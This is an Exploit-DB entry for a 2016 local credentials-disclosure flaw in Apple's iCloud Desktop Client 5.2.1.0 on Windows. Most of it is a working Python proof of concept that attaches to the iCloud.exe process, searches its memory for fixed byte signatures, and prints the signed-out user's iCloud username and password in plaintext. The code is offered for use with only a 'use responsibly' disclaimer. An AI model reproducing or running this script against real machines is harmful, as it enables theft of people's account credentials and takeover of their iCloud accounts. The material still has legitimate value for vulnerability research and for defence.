Exploit-DB #40350
Description: Apple iCloud Desktop Client 5.2.1.0 - Local Credentials Disclosure
Type: local
Platform: windows
Date: 2016-09-08
Author: Yakir Wizman

Exploit:
#####
# Apple iCloud Desktop Client v5.2.1.0 Local Credentials Disclosure After Sign Out Exploit
# Tested on Windows Windows 7 64bit, English
# Vendor Homepage 	@ https://www.apple.com/
# Product Homepage 	@ https://support.apple.com/en-us/HT204283
# Date 07/09/2016
# Bug Discovery by:
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
#####
# Apple iCloud Desktop Client v5.2.1.0 is vulnerable to local credentials disclosure after the user is logged out.
# It seems that iCloud does not store the supplied credentials while the user is logged in, but after sign out the supplied username and password are stored in a plaintext format in memory process.
# Funny eh?!
# A potential attacker could reveal the supplied username and password in order to gain access to iCloud account.
#
# Authors are not responsible for any misuse or demage which caused by use of this script code.
# Please use responsibly.
#####
# Proof-Of-Concept Code:

import time
import urllib
from winappdbg import Debug, Process

def b2h(str):
    return ''.join(["%02X " % ord(x) for x in str]).strip()

def h2b(str):
	bytes = []
	str = ''.join(str.split(" "))
	for i in range(0, len(str), 2):
		bytes.append(chr(int(str[i:i+2], 16)))
	return ''.join(bytes)

usr			= ''
pwd			= ''
found		= 0
filename 	= "iCloud.exe"
process_pid = 0
memory_dump	= []

debug = Debug()
try:
	print "#########################################################################"
	print "#\tApple iCloud v5.2.1.0 Local Credentials Disclosure Exploit\t#"
	print "#   Bug Discovery by Yakir Wizman, Victor Minin, Alexander Korznikov\t#"
	print "#\t\tTested on Windows Windows 7 64bit, English\t\t#"
	print "#\t\t\tPlease use responsibly.\t\t\t\t#"
	print "#########################################################################\r\n"
	print "[~] Searching for pid by process name '%s'.." % (filename)
	time.sleep(1)
	debug.system.scan_processes()
	for (process, process_name) in debug.system.find_processes_by_filename(filename):
		process_pid = process.get_pid()
	if process_pid is not 0:
		print "[+] Found process with pid #%d" % (process_pid)
		time.sleep(1)
		print "[~] Trying to read memory for pid #%d" % (process_pid)
		
		process = Process(process_pid)
		for address in process.search_bytes('\x88\x38\xB7\xAE\x73\x8C\x07\x00\x0A\x16'):
			memory_dump.append(process.read(address,50))
		
		try:
			str = b2h(memory_dump[0]).split('88 38 B7 AE 73 8C 07 00 0A 16')[1]
			usr = h2b(str.split(' 00')[0])
		except:
			pass
			
		memory_dump	= []
		for address in process.search_bytes('\x65\x00\x88\x38\xB7\xAE\x73\x8C\x07\x00\x02\x09'):
			memory_dump.append(process.read(address,60))
		try:
			str = b2h(memory_dump[0]).split('07 00 02 09')[1]
			pwd = h2b(str.split(' 00')[0])
		except:
			pass
		
		if usr != '' and pwd !='':
			found = 1
			print "[+] iCloud Credentials found!\r\n----------------------------------------"
			print "[+] Username: %s" % usr
			print "[+] Password: %s" % pwd
		if found == 0:
			print "[-] Credentials not found!"
	else:
		print "[-] No process found with name '%s'." % (filename)
	
	debug.loop()
finally:
    debug.stop()